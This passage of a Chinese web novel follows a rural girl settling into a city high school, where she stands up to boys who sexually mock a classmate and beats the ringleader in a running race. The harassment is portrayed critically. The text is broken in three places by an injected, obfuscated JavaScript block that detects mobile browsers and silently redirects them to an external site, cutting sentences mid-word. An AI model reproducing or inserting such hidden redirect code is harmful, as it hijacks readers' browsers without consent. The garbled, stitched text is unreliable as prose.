“你说得对。”她看向那个接话的男生,乌黑油亮的眼睛如同龙眼核,温润地闪烁着一种拙朴又干净的光辉,“我可以用我的力气帮助大家,虽然我没有拿得出手的经历,但我确实有使不完的精力,这是我的优势,谢谢你提醒我。”她说完,露出一个同样拙朴又干净的笑容,鞠了鞠躬,说,“这就是我的竞选词了,我没有别的要说的,谢谢大家,请你们支持我,希望大家能够投票给我。”随后便走下了讲台。 她突如其来的真诚一击搞得底下众人都卡壳了,一时接不上话。 邵彦君瞥了瞥她,震惊于她讲话的老气横秋,和身后的戴以泽交换了一个“这人果然好土”的眼神。 她下台后,又相继有几位同学上台,有人和邹皓调性接近,走的是精英风,有人说话风趣,满嘴网络热梗,也有人和她一样嘴拙,但自我定位准确,直接说想当学习委员,理由是中考在区里排第几第几名。 一轮演讲结束,眨眼便到了投票环节。 现实并非童话,也不是动画片,祝婴宁深知这一点,因此看到投票结果后,她并没有自己预想中那般失落,只是有些震惊。因为——虽然如她所料,邹皓的票数完胜她,但班上依然有七个人投给她。他们班一共是五十四人,仅班长这个职位,邹皓获得三十三票,她获得七票,余下的人都选择了弃票。 她看着投票结果,心里既惊讶又窃喜。 原来班里竟然有七个人支持她啊…… 而且,邹皓看起来也不是人人都喜欢嘛。 哦,不行!后一个想法太恶劣了,她怎么可以这样想?祝婴宁赶紧摇了摇脑袋,把恶劣的窃喜甩出去。 邵彦君完全无法理解祝婴宁在高兴些什么,换成是她自己,上台发表一通傻里傻气的讲话,被全班人嘲笑,最后还只获得惨兮兮的七票,她肯定已经羞愤交加从走廊跳下去了,为什么她旁边这人还能一脸成为美国大选胜利者的表情?就差把“我竟然足足有七个人支持”大写加粗裱在脸上了。 ** 晚上回到家里,钟点工已经做好了晚饭,她和许思睿同许正康一起坐在餐桌前用餐,由于许正康那个“食不言寝不语”的教诲,饭桌上没人说话,仅有细碎的咀嚼声,一顿饭吃得无比沉闷,简直像在吃席。 许思睿率先吃完,谁都没看,把碗哐当一声扔进洗碗槽就回卧室了。 他这几天在家都是这副仿佛被谁欠了八百万的态度,许正康前几天没说什么,只假装没看见,但今天工作时受了气,那股气郁积在他的五脏六腑里,导致他怎么看许思睿怎么觉得不顺眼。见他就这么走了,许正康不悦地蹙了蹙眉,放下碗筷,问祝婴宁:“怎么样,今天去学校还适应吗?” 她想了想,撇去那些不太好的经历,斟酌着答:“挺……挺好的。” “许思睿呢?”他瞄向许思睿紧闭的卧室门,“没逃课吧?” “没有。”她赶紧替许思睿辩白,“他也挺好的许叔叔,他好像已经交到了新朋友。” 许正康冷嗤道:“交朋友?交朋友管什么用?他交的那些不三不四的朋友难道还少吗?学生就该有学生的样子,能把学习搞好才是正事!婴宁,你在学校多看着他点,务必要监督他好好学习,别让他整天跟些乱七八糟的人鬼混。” 祝婴宁尴尬地笑了笑,心里觉得许正康这样武断地评判许思睿的朋友不好,但寄人篱下,吃人嘴短,也无法说什么,只能默默点了点头。 “你在学校要是有什么不懂的不适应的,就去找他问,别让他闲着。” 她只好又卑微地点了点头。 不过,说到不懂的,她确实有个问题想请教他。 ** 叩叩。 祝婴宁敲响了许思睿的房门,在外面等了许久,也没听到他说请进,她只好又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她长长地叹了一口气,伸手去抠他书桌的边缘。许思睿皱起眉,拿饭卡的边角不客气地敲她的手,力道还挺重:“别瞎抠,哪染上的坏习惯。” 她只好甩了甩手,把手缩回来,转而问:“许思睿,你知道什么是KPI吗?还有SWOT分析,模联比赛,social卡、卡皮头……之类的?” 她说完,等了片刻,却没等到许思睿回答,好奇地抬起头,恰好撞上他低垂的目光。他用左手手背撑着下颌,视线下移,居高临下地看着她,表情似笑非笑,过了许久,才用一种了然的腔调好整以暇道:“哦……原来是受了这种刺激。” “……” 也许是因为他的话,也许是因为他夹带调侃的视线和嘴角的笑,总之,说不清缘由的,祝婴宁感觉自己脸颊的温度蹭蹭往上涨了几分。 66. 朋友 许思睿故意晾了她很久,才切入正题,悠然道:“知道了又怎么样,不知道又怎么样?” 她支吾了几声,轻声嘟囔:“没怎么样,我就是随便问一问……” “如果我说我不仅知道,还参加过,你是打算拿我当偶像?你是打算把我照片洗出来挂床头,每天没事就拜一拜,给我上柱香,求我大显神通保佑你?” “?” 她嫌弃地撇了撇嘴,“怎么可能……” “那不就是了?”许思睿扬起眉梢,再次点开贪吃蛇,理所当然道,“我这么优秀你都没打算拿我当偶像,你怕别人干嘛?” 这是多么自恋到爆炸的一番发言,祝婴宁被他狂屌酷拽的语气惊得目瞪口呆。但是……等等,仔细一想,她居然觉得他说得好有道理。 对啊,她连许思睿都不怕,她怕邹皓干嘛? 邹皓是比许思睿多了个鼻子还是多了只手?没有吧? 既然没有,那她到底为什么要怕? 他那番话甚至谈不上是安慰,更像一种取笑,但,很诡异的,她却醍醐灌顶,被他的自恋喀嘣一下点醒了,脑仁前所未有的清明,清明到像是有谁往里面滴了几滴风油精,冰冰凉凉,透彻心扉。她原地蹦起来,一把抓过饭卡,朝他傻笑两下,丢了句“我知道了!谢谢你”就踩着拖鞋啪嗒啪嗒出去了。 ** 第二天去上学,祝婴宁比昨天淡定多了。虽然她还是没能交到新朋友,邵彦君和戴以泽也依然一副不怎么想搭理她的样子,但她已经不像昨天那般焦虑。 她开始花费更多的时间观察班上的同学,试图了解她所不了解的这个新集体。 高一尚未按照成绩分班,他们这个班什么样的人都有,既有喜欢学习的人,也有不爱学习的人,还有经常违反校规的人。说到违反校规,邵彦君绝对是女生中这方面的佼佼者,洪青阳对她的外在形象三令五申,要她趁早把头发拉回直的染成黑的,可提醒得嘴巴都要起泡了,邵彦君还是我行我素。 有一回上课上到一半,祝婴宁忽然闻到一股化学制品的刺鼻香气,正奇怪这味道从哪来的,一瞥眼,就看到邵彦君桌底下摆着几瓶指甲油,正在给自己涂指甲。 涂完了自己的,又扭头给戴以泽涂。 戴以泽嘴上说着“又不是娘炮,谁稀罕涂这玩意儿”,却没有表现得十分抗拒,象征性地反抗了一下,脸上就笑开了花。祝婴宁看在眼里,纳闷在心里。 以及,邹皓虽然竞选上了班长,却没有选上团支书,团支书由一个女生担任,名字叫谭菁菁,戴一副很厚的无框眼镜,牙上箍着银色牙套,说话嗓门很大,做事雷厉风行。据说她是被校领导特意花高价挖过来的,不然按照她的成绩,铁定能去更好的高中。 邹皓似乎把谭菁菁当成了假想敌,每次课堂小测结束,他都会状似不经意但其实很刻意地偷瞟谭菁菁的测验分数。 这些观察到碎片犹如拼图的零件,一点一滴构建起她对这个新班级的认知。 ** 祝婴宁交到的第一个朋友叫吴波。 交到这个朋友纯属机缘巧合,那天他们上体育课,体育老师带领他们练习四百米跑,为了避免男女混合互相打乱节奏,男生和女生是分开跑的,男生先跑一圈,接着才轮到女生。 跑步项目,尤其是考验耐力的长跑,对祝婴宁来说完全小菜一碟,她在山里跑山路早就练出来了,跑完一圈下来,连气都没怎么喘,回头一看,发现后面跑得最快的女生也落后了她整整半圈。 她无所事事地在终点处徘徊,和围观的男生们站到一起,等待其他女生跑完过来集合。 然后—— 就是这个时候,她听到了有男生喊:“快看!大波来了!” 谁是大波?她正迟钝地思考着班上是否有同学叫这个名字,就听到了周围男生发出的尖刺笑声,那笑声猥琐中带着调侃,调侃中掺杂顽劣的低俗,只要不是白痴,都能轻易听出这笑不怀好意。她愣了愣,顺着他们的视线看过去,发现他们的视线统一集中在一个女生身上。 那个女生身材较为丰腴,跑得气喘吁吁,胸|部难以避免地随着跑步的动作上下甩动。 她知道这个女生的名字,她叫吴波。 那一瞬间,仿佛有什么东西在祝婴宁身体里轰然炸开,将她血管里的血液烧得一片滚烫。有史以来第一次,她意会到了男生之间心照不宣的黄色玩笑,意会到了男性群体间恶心至极的某种默契,在十五岁的这天,阳光列列的操场上,一个面色窘迫却累得无力反抗的女同学面前。 她难以置信地扭头看向周围取笑吴波的男生,这些平时看起来很正常的男同学此时此刻荒谬到像一群滑稽且低能的猴子,脸上因某种刺激而渗出潮红。 他们用手充当喇叭,朝着路过的吴波怪叫: “大波这次跑得有进步啊?” “不愧是大波——” “大波,加油!大波,加油!” 为首的郑泽楷甚至快步小跑到吴波身边,故意拦在她面前,笑道:“用不用我带着你跑啊,大波?” 吴波没说话,低头闷声朝前跑着,脚步沉重地落在塑胶跑道上。 郑泽楷笑着与旁边男生交换了一个暧昧的眼神,还想再说点什么,谁知下一秒,身后的衣摆骤然传来一股巨大的拉力,他什么都来不及做,就被那股拉力抡到了旁边跳远用的沙坑上,摔了个结结实实的屁股墩。 不仅郑泽楷本人惊呆了,旁边围观的男生也都没反应过来发生了什么事。几个眨眼间,祝婴宁已经来到他们面前,伸出手,像推多米诺骨牌一样,把他们一个接一个推到了地上,后面的人反应过来,赶紧稳住重心,脸红脖子粗地大叫起来:“尼玛……你有病啊?!你干嘛?” “我干嘛?”她气得呼吸都有些不畅,停下动作,大力喘息几下,说,“我还要问你们想干嘛呢!你们真无聊,你们的玩笑也很无聊!向她道歉!” 几个男生本来怒火中烧,被她这样一说,对视片刻,立刻意味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781806|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深长地笑起来:“玩笑?我们开什么玩笑了?” “你们说她……”祝婴宁难以启齿那个带着恶意的词汇,说到一半便卡住了。 “怎么?我们说她什么了?”有个男生拍了拍屁股站起来,“我叫郑泽楷也叫大楷啊,咋,我也在开郑泽楷玩笑?就你们女的特么敏感小心眼,自己污还给别人扣帽子。” “你!”祝婴宁被他的狡辩气个半死,知道他们管郑泽楷叫大楷和叫吴波大波完全是两回事,意图完全不同,但却被他们堵得无法反驳。她要怎么反驳?难道当着这么多人的面说你们在嘲笑女同学胸|大吗?这话说出来只会让吴波更加尴尬。 “反正你们必须跟她道歉!”她只能大声地强调,“你们不道歉我就去找老师了!” 郑泽楷已经站了起来,绕到祝婴宁身前,不屑地冷笑道:“道歉?搞笑!我们都还没让你道歉呢,你在这狗叫什么?你莫名其妙推倒了我们这么多人,你以为你他妈很占理啊?周围所有人可都看到了,是你先动手的,你爱打小报告就去呗,看看哪个老师愿意屌你。” 她一时噎住了,看了看周围,周围果然已经聚拢了不少看热闹的同学。吴波在她身后小心翼翼地拽她,脸都皱成了一团:“唉……算了吧,别跟他们争了,我真没事,我已经习惯了。” “你、你已经习惯了?”祝婴宁简直难以描述自己听到这话以后内心的感受。 这时体育老师也听到动静靠了过来,问他们:“怎么了?怎么了?!打群架啊你们?散开!都散开!” “哪敢啊老师。”郑泽楷白了祝婴宁一眼,嗤道,“我们哪打得过母老虎。” “……” 要不是这里围着太多人,她真想上前扇他几巴掌,让他知道什么叫真正的母老虎。 吴波在一旁积极地大事化小小事化了,对体育老师说:“老师,我们闹着玩呢哈哈,没什么事!”说完往手上加了些力道,把祝婴宁拽到一旁,低声求她,“算了吧,算了,真算了。” 当事人都不想计较,祝婴宁实在无法可想,只好随着她的力道暂时先走远点。 体育老师登记完所有学生的成绩,让他们列队集合,交代了一通自由活动的注意事项就让他们原地解散了。 祝婴宁本想和之前的体育课一样,随便找根单杆运动一下,发泄一下肚子里的闷气,结果还没走出多远,就被旁边窜出来的吴波拦住了脚步,她讨好地一笑,说:“那个……你叫祝婴宁是吗?我请你喝饮料吧?” “不用了。”祝婴宁叹了一口气,“我什么都没帮到你。” “不不不,你替我说话,我真的很感动,真的!”吴波拉住她的手,执意要把她拽去小卖部。 “不……真的不用了。”别说她没帮上忙,就算帮上了忙,也没有喝别人饮料的道理,祝婴宁不想去小卖部,只好往反方向使劲儿。 两人跟拔萝卜似的,站在原地,一个往左使劲儿,一个往右使劲儿,半天都一动不动,仿佛凝固成了两尊雕塑。 67. 足球 这边祝婴宁和吴波正拉锯着,那边郑泽楷已经带着几个男生晃悠了过来,从她们身边路过时,恶意满满且吊儿郎当地留下一句:“嘁,飞机场和大波打算抱团取暖了?” “……” 祝婴宁肚子里本就没来得及消化的那团闷气顿时又蹭地暴涨起来,堵在她喉咙口,要不是有天灵盖盖着,估计已经冒烟了。 吴波见她脸色不对,赶紧死死拽着她,说:“别计较别计较,不值得。” “听到没?”郑泽楷还嫌不够似的在旁边火上浇油,“人家都不计较,就你矫情,就你事儿多。” 吴波感觉自己快要拉不住祝婴宁了,她就像一颗亟待发射的炮弹,已经瞄准了敌方,底端也点了火,只要她敢松手,她立刻就会朝着郑泽楷biubiu弹射出去。吴波一边吃力地拽紧她,一边张嘴打算继续劝说,然而话都还没出口,就见祝婴宁回过头,说:“他刚刚也骂了我,我不仅是为了你,也是为了我自己。” 这理由太过天经地义,天经地义到她完全没道理再拦她,吴波迷茫地“啊”了一声,不得已松开了手。 随后她就看到祝婴宁朝郑泽楷走了过去。 郑泽楷被祝婴宁推倒后也憋着一团气,见她过来,既不躲,也不惧,拿鼻孔看着她,一脸“我看你能怎么样”的表情。 她并没有如吴波担忧的那样一拳抡过去,相反,除了面色难看,她的动作连同语气都很平静,她在他面前站定,问:“郑泽楷,你是无论如何都不打算道歉了,是吧?” 郑泽楷的回答是往地上吐了口痰。 祝婴宁嫌恶地皱起眉毛,点了点头,说:“好,既然这样,我跟你谈个条件,我们来比一比,随便比什么都行,你来定,要是我输了,我就在操场中间学五声狗叫,要是你输了,你就在操场中间向我们道歉,怎么样?” 吴波在旁边听得眼球都差点没瞪出来,刚想问祝婴宁“你疯了吗”,就听郑泽楷怪声怪气地笑了起来。 狗叫和道歉,哪一个结果侮辱意味更浓,不言而喻。这赌约在他看来带着一股自作聪明的可怜和可笑,她以为她的激将法用得很高明?别他妈搞笑了。 郑泽楷短促地笑了几声就停了,只是嘴角仍然挂着笑弧,右手放在脖颈上,掰了掰脖子,肩颈连接处发出令人牙酸的骨骼摩擦声。他拿舌尖顶了一下侧脸,用一种无谓且不屑一顾的腔调说:“行呗,既然你爱比赛,爱当英雄,行,我给你出风头的机会,就来比——”他顿了顿,嘴角笑意扩大,“谁的尿滋得高。” 几乎是他的话刚说完那一秒,他的那些同伴就配合地大笑起来。 尖锐刺耳的笑声像沸腾的水泡,咕嘟,咕嘟,破裂在夏日午后闷热的空气里,炸出一团团羞耻的烟雾。吴波低下头,感同身受地替祝婴宁难堪起来,脸颊泛红,眼眶发涩,手指绞在一起剧烈颤抖,心里甚至莫名生出几分怨怼,绝望地想着—— 为什么要出头? 乖乖忍受嘲笑,假装无事发生,不就不至于发展到现在这种尴尬的境地了吗? 为什么就是不肯听她的话,为什么就是不能默默忍受下来? 但是,她很快发现了不对。 旁边笑得歪歪扭扭站立不稳的几个男生也逐渐收了表情,看向了郑泽楷和祝婴宁。郑泽楷同样垂着眼帘,面无表情俯视她。 因为祝婴宁脸上并没有呈现出任何他们期待窥见的难堪。 她始终抬头直视他,那双漆黑的眼睛如同旋转的黑洞,深不见底,将他吸进她的灵魂深处,越过事件视界,坍缩为一个卑劣的奇点。他看到她嘴角扬起平静的笑,听到她平静地答:“好啊。” 好啊。 她竟然说—— 好,啊。 有时候,少年人的心性其实很好被挑动,一句平静到堪称挑衅的应战,足以。 郑泽楷将牙咬得咯吱作响,胸腔灌满午后空气的燥意,呼哧呼哧喘着粗气,像是下一秒就能伸手掐死她。他的同伴在旁边沉默了半晌,看出不对,忙出言解围道:“……比就比!就比投篮好了,敢不敢?先说好啊,你要是输了,不止五声,你得在操场中间学满五分钟狗叫,到时你哭也没用,别以为你是女的我们就会惯着你。” “好啊。”她依然笑着看向郑泽楷,“我接受。” 投篮这个选项是郑泽楷的小弟特意为他量身定制的,他们认定了女生不可能擅长投篮,本身女生里打篮球的人就少,何况祝婴宁还那么小只,既没有身高优势,也没有力量优势,有没有力气把篮球投到篮框的位置都难说,更别说投准了。 结果他们刚把篮球丢给祝婴宁,她就接过来,原地蹦了蹦热了热身,手一抬,轻轻松松投了个三分,不挨篮筐那种。 “……侥幸。”郑泽楷的小弟赶忙给他打气。 然而一个还能说是意外,在她连投三个三分热身以后,郑泽楷和他小弟的脸色都不好了。 what?这什么准头? 怪物啊! “……” 小弟发现势头不对,立刻朝祝婴宁大叫起来,“欸欸!我刚刚说着玩的,投篮有什么意思?有本事……”他慌乱地在操场上扫视一圈,发现操场中间的足球场有人在踢球,不好发挥,于是便指着跑道,“有本事你跟我们大楷比赛跑一千米!” 郑泽楷脸一黑,咬牙切齿:“你个傻吊想累死我?” “你不懂,大楷,这是我的战术。”小弟贼头贼脑地说,“你忘了这女的刚刚跑四百米在女生里是第一名了吗,这说明她也很擅长跑步,但她再擅长跑步,也肯定只擅长女生的那部分,女生顶天跑个八百米就完了,但咱不一样哪,咱一直练一千米,所以,一千米看似很累,但却是你的优势!而且你比她高那么多,腿也比她长,我就不信了,跑不死她丫的!” 郑泽楷一边觉得哪里怪怪的,一边又觉得有点道理。刚好那边吴波被祝婴宁惊人的投篮水平鼓舞到,仿佛瞬间有了底气,一改几秒前畏畏缩缩的姿态,对他们说“到底比什么,你们几个还是不是男人了,能不能给个准信”,这话极大地刺激到了郑泽楷的自尊心,他立刻怒道:“就比一千米!” 吴波看向祝婴宁,紧张道:“怎么样,一千米,你能行吗?” “应该能。”她斟酌道。 “不要‘应该’啊。”吴波哭丧着脸,“我刚刚狠话都撂出去了,这是我第一次朝他们撂狠话,祝婴宁,你要是输了,我小命可就不保了,你一定得救我啊。” “我尽量。” “不要‘尽量’啊!” 她们你一言我一语,转眼就来到了跑道上的起点。祝婴宁和郑泽楷各自占好了位置,祝婴宁蹲下来压了压腿作为热身,郑泽楷为了装逼,愣是杵在原地没动,像个站岗放哨的兵一样,还故意嘲笑道:“跑个一千米都得热身,真垃圾。” “就是,就是!”小弟发挥小弟的职能,在旁边积极响应。 由于他们人多,都聚在起点这,很快吸引了一些无所事事的同班同学,戴以泽也领着邵彦君过来了,看热闹不嫌事大地说要给他们当裁判。 身为班霸,郑泽楷特别看不起戴以泽,觉得这人就是个死娘娘腔,但现在他认为围观群众越多越好,这样胜利后祝婴宁丢的脸才够大,基于这种心态,他同意了。 戴以泽不知道从哪找来一个哨子含在嘴里,邵彦君配合地在旁边数着:“三——二——一!”随着一字落地,哨声响起,祝婴宁和郑泽楷同时冲了出去。 由于身高优势和男性与生俱来的生理优势,从起跑那一秒开始,她就被郑泽楷远远甩到了身后。 ** 许思睿他们班今天的体育课本来在上午,但下午的物理课物理老师临时有事,没法上,只能跟体育老师调了个课,他们的体育课便凑巧和祝婴宁他们排到了同一节。 不过,从体育课开始到现在,她都没有发现他。 许思睿有点不爽。 他自己也说不清不爽的缘由,可能是因为他刚来操场上课那一刻就发现了她,而她居然对他视而不见,活像个睁眼瞎,这种被人彻底无视的心理落差让他感到非常不平衡。 他难道长得很不显眼吗? 出于这种幼稚的不爽,自由活动后,许思睿也一直假装没看到她。冯达邀请他一起踢足球,他看了看头顶的大日头,心里油然升起一阵厌烦,却没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787685|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有拒绝。 在操场中间踢了会儿球,跑道上忽然传来不小的骚动,惹得他们这的队员纷纷停下踢球的动作看过去,许思睿本人也撩起衣摆擦了擦下颌的汗,平淡地朝那边投去视线。 “他们八班好像在比赛跑步呢。”郭莹颖递给他一瓶拧开的矿泉水,瞥了眼他衣摆下白皙精健的小腹,移开目光,脸颊微红,细声细气道,“不知道怎么回事,是一个女生和一个男生在比。” 许思睿接过来喝了几口,目光落在那个被所谓的“男生”远远甩在后头的“女生”身上,看了一会儿,才问:“比多少米?” “好像是一千米。” 一千米。 许思睿在心里呵了一声。 如果比的是五十米一百米,祝婴宁铁定被人拉爆了,她瞬时爆发力再怎样强都不可能比过男生,何况跟她跑步那个男的还是个大高个,看起来挺壮的,但是……一千米,哪个没脑子的敢和她比中长跑?拜托,这可是她的绝对领域好吧? 他完全不担心她会输掉,也懒得去考究她为什么闲得没事干找男的赛跑。喝完水,他使唤仆人一样把矿泉水瓶丢给郭莹颖,丢完了才想起她不是仆人,只好挂上微笑,温柔地点了点头,假惺惺却又极具迷惑力地说:“谢谢。” 声音清润如玉。 “不客气。”郭莹颖抱着矿泉水瓶,害羞地低头跑开。 接着继续踢球。 踢球的过程中,许思睿偶尔会朝跑道上瞄几眼,和他料想的一模一样,祝婴宁虽然被郑泽楷甩在了身后,但始终保持一段恒定距离跟着他,如影随形。 郑泽楷一开始还很得意,发现怎么跑都甩不掉身后这个尾巴后,脸色就有点微妙了。 到了后半程,他体力下降得厉害,虽然速度不减,脚步却变得越来越沉重,喘息也越来越剧烈。 在他体力锐降的时候,祝婴宁在他身后温吞吞地提速了。 五十米、四十米、三十米…… 他们之间的差距以稳定的速度缩得越来越小,这个变化并不明显,更谈不上惊心动魄,可是围观的每一个人都忍不住屏住了呼吸。 郑泽楷一开始还没意会过来发生了什么事,直到他听到了呼吸声。 她的呼吸声。 和他越发凌乱的呼吸声不同,祝婴宁的呼吸很浅,也很稳,稳到了堪称恐怖的地步。他甚至分不清自己过速的心跳是因为剧烈有氧运动,还是被她吓出来的。 他妈的……靠!这女的是人吗?! 而在他的恐惧彻底成型之前,更恐怖的事发生了—— 祝婴宁缓慢地跑到了和他并肩的位置。 与其说是跑过来的,不如说是滑过来的,因为她的速度太稳了,稳到像是在冰面上流畅地滑行,而非狼狈奔跑。 分不清是谁先开始的,跑道上骤然响起了一阵排山倒海的尖叫。为首的是吴波,这个向来内向胆小的女孩疯了一样,跺脚朝他们的方向锐声尖叫,叫得毫无章法,甚至连眼泪都飙出来了。 他一边觉得至于么,一边觉得—— 操,很至于! 他难道真要输给这个女的,然后按照她的那个什么狗屁赌约,站在操场中间跟个白痴一样向她俩道歉?! 做她们的千秋大梦! 郑泽楷努力想要提速冲刺,事实上他也确实提速了,可不管他如何努力,祝婴宁都像个牛皮糖一样黏在和他并排的位置,怎么甩都甩不开。 他觉得肺里堵着一团气,堵到再不发泄出来,他能把自己给憋死。在一种恐惧失败的心态的驱使下,郑泽楷晕头转向地朝她伸出了手。 ** “思睿,你在看什么呢?”冯达小跑过来,轻轻撞了撞许思睿的肩膀,轻声催道,“轮到你开球了。” 许思睿这才收回视线,笑着应了声:“好。” 他用脚固定住滚落到他脚边的球,竖起一根手指,从容不迫地瞄准了接球的队友—— 身后的郑泽楷。 随后,砰的一声巨响。 在郑泽楷伸出右手,即将把祝婴宁拽倒的前一秒,一颗足球沿着笔直且优美的直线,重重砸到了他的太阳穴上。 68. 恩将仇报 郑泽楷倒地的姿势犹如一只被子弹射中的大雁。那颗足球砸到他以后,又被他的脑袋反弹了回来,在跑道上悠然地弹了几下,才咕噜噜滚开。 排山倒海的尖叫声像被按了静音键,瞬间偃息了。 祝婴宁停下跑步的动作,惊讶地看着地上的郑泽楷,目光自然而然移向足球射来的方向。 郑泽楷的小弟们蜂拥而上,手忙脚乱将他从地上拉起来,急切地问: “你没事吧,大楷?!” “操,哪个没长眼睛的鳖孙干的!” “谁?!到底是谁!” 在一阵混乱的讨伐声中,许思睿出现了。 祝婴宁怔怔地看着他—— 他双手插在裤兜里朝他们这边走过来,由远及近,桃花眼在日光下微微眯起,浓密纤长的睫毛将阳光筛出细碎的斑影,整个人懒得像只猫。 他走到郑泽楷面前,眼尾压成一个无辜的下垂的弯弧,张开嘴,温柔又礼貌地来了句:“不好意思,同学,你还好吗?” 那语调,那表情,简直和煦得像阵春风。 祝婴宁被这绝对不该出现在许思睿身上的譬喻和他虚伪的笑容惊得抖了抖,默默思考这人是谁……真的是许思睿吗?没被谁夺舍吗? 但是,该说不说,这副三好学生的模样很奏效,郑泽楷被小弟搀扶起来以后,居然没有第一时间发飙。当然,祝婴宁认为更大的原因是许思睿身后跟着一大票同班同学,虽然大家脸上都带着尴尬的歉意,可这么乌泱泱一大团望过去,还是挺有压迫感的。 “你……没长眼睛啊!”郑泽楷的小弟之一虚张声势地吼了一句。 郑泽楷揉着太阳穴,抬手制止道:“算了,都是兄弟……踢球嘛,正常。”他虚弱地将胳膊架在兄弟肩膀上,“扶我去医务室。” 许思睿顺势道:“我扶你去吧。”内容乍一听很热心,然而脚却黏在原地一动不动。 “不用。”郑泽楷拒绝了,表情有些冷淡。 许思睿也没再坚持,颔了颔首,领着身后一大帮同学原路离开了,仿佛这件事只是小得不能再小的插曲。整个过程结束,他甚至都没有分个眼尾给她。 祝婴宁若有所思地盯着他远去的背影。 这时吴波小跑过来,愤愤地跺了跺脚:“哎!不该让郑泽楷走的,我看他一点事都没有,他纯粹是想找个借口开溜呢,他怕赢不过你!而且刚刚他想伸手拽你,我都看到了,这人怎么这样啊,输不起就别玩。” 和吴波的愤愤不平不同,祝婴宁很平静,轻声说:“我知道。” “你知道干嘛还放他走?”没能亲耳听到道歉,吴波又遗憾又泄气。 “他已经被砸到头了。” “那是个意外,只能说他活该,连老天爷都看不下去了,想收了这祸害。” “是吗?”祝婴宁笑起来。 吴波看向祝婴宁,觉得祝婴宁的行事节奏很奇怪,在她觉得不该追究的时候,她执意要求郑泽楷道歉,在她觉得可以乘胜追击的时候,她却又好像对这件事无所谓了。 “好了,别气啦。”她甚至反过来安慰吴波,拍了拍她的手,主动邀请道,“我要去练练单双杆,你要一起去吗?” “啊?我就不了吧。”吴波对运动一点兴趣都没有,她觉得生命在于静止,不过她并没有离开祝婴宁,反而跟在她身后走向单双杆,“我给你加油就好。” ** 交朋友这件事需要的往往只是一个破冰的契机,一天下来,祝婴宁就成功和吴波从“完全不熟”迅速升温到了“熟悉”的状态,连上厕所都开始手拉着手一起去了。 这要归功于吴波的主动。 真正聊起来以后,祝婴宁发现吴波面对朋友十分健谈,反而是她自己显得沉默寡言。吴波在班上乍一看属于默默无闻无欲无求的类型,实际上兴趣爱好却很丰富,看小说啦、听音乐啦、追偶像啦……总之她的兴趣爱好离祝婴宁的世界十万八千里远。 她说她喜欢的第一个华语女歌手是孙燕姿,喜欢孙燕姿用不那么周正的独特咬字唱《天黑黑》,因为她祖籍在闽南,听这首歌有回到童年的亲切。 她说S.H.E单飞之前是她的心头宝,但现在BY2取代了这个位置。 她说《意林·小小姐》和《花火》是她最喜欢的两款杂志,因为她爱看透明纤细的青春小说。 …… 她说的所有话,祝婴宁都默默听着。 千禧年初,一切欣欣向荣,可这片繁荣并未照拂到祝婴宁的山村,她扎根的那个角落仿佛被世界抛掷了,她犹如生长在孤岛上的野人,离开了圈养她的那座山,第一次窥见世界齿轮的运转。 哐当哐当,繁花似锦,却与她毫无关系。 不说话是因为无话可说。 她对世界新潮的认知拥有难以弥合的空白,可沉默太久,又怕对方觉得她索然无趣,斟酌半天,才在放学之前,犹犹豫豫憋出一句:“吴波,我能跟你借一本《花火》来看吗?” 吴波的瞳孔哗的一亮:“当然可以了!我跟你说,我以前初中的朋友都喜欢独木舟,就我一人喜欢乐小米,你一定得看看她写的书,要是你能喜欢上她,咱以后说不定可以一起去她的签售会!” 吴波口中的那些作家的姓名,祝婴宁完全不熟悉,但她嘴角依然扬起了一个笑,浅浅又弯弯。 她朝这座城市探出的第一个触须被人温柔地接住了。 ** 放学回家时,祝婴宁没等到许思睿。他有时会和新交到的朋友一起去聚餐,她已经习惯了他的不定时失踪,见状便自己回了家。 一直到晚上九点多,她在客房里写完今天的作业了,玄关才传来许思睿开门的响动。 她把头探出去,看到他一边低头玩手机一边往房间走,客厅没开灯,乌漆嘛黑的,显得照在他脸上的手机光亮特别像鬼。 “鬼”本人一抬头,反而被她的头吓了一大跳:“卧槽……你干嘛?” “没什么。”她把头缩了回去。 许思睿便又低下头,继续玩他的手机,走到卧室书桌前,把书包随便往地上一甩,拉开椅子正要坐下,祝婴宁的脑袋忽然又探了进来,也不说话,就那么直勾勾盯着他,眼睛圆溜溜的。 他转头看向她,和她对视了几秒,觉得手心莫名有点痒,很想摸把锤子出来打地鼠。 “有事?”他问。 这回她倒是开口了,嘴唇动了动,用肯定句的口吻问出一个疑问句:“你是故意的吗?” “什么故意的?”许思睿一时没跟上她的思路。 “体育课。” 他这才恍然大悟地哦了一声,没说是不是故意的,只用左手撑着桌面,站得微微歪斜,跟个痞子似的,挑眉轻笑道:“怎么,你打算教育我?” 君子动手不动口,要以德服人,不能以暴制暴,要是不小心把同学砸出脑震荡了怎么办,要和同学和平相处……猜都能猜出她的老干部发言。 谁知这回祝婴宁竟然转性了,摇了摇头,说:“不, 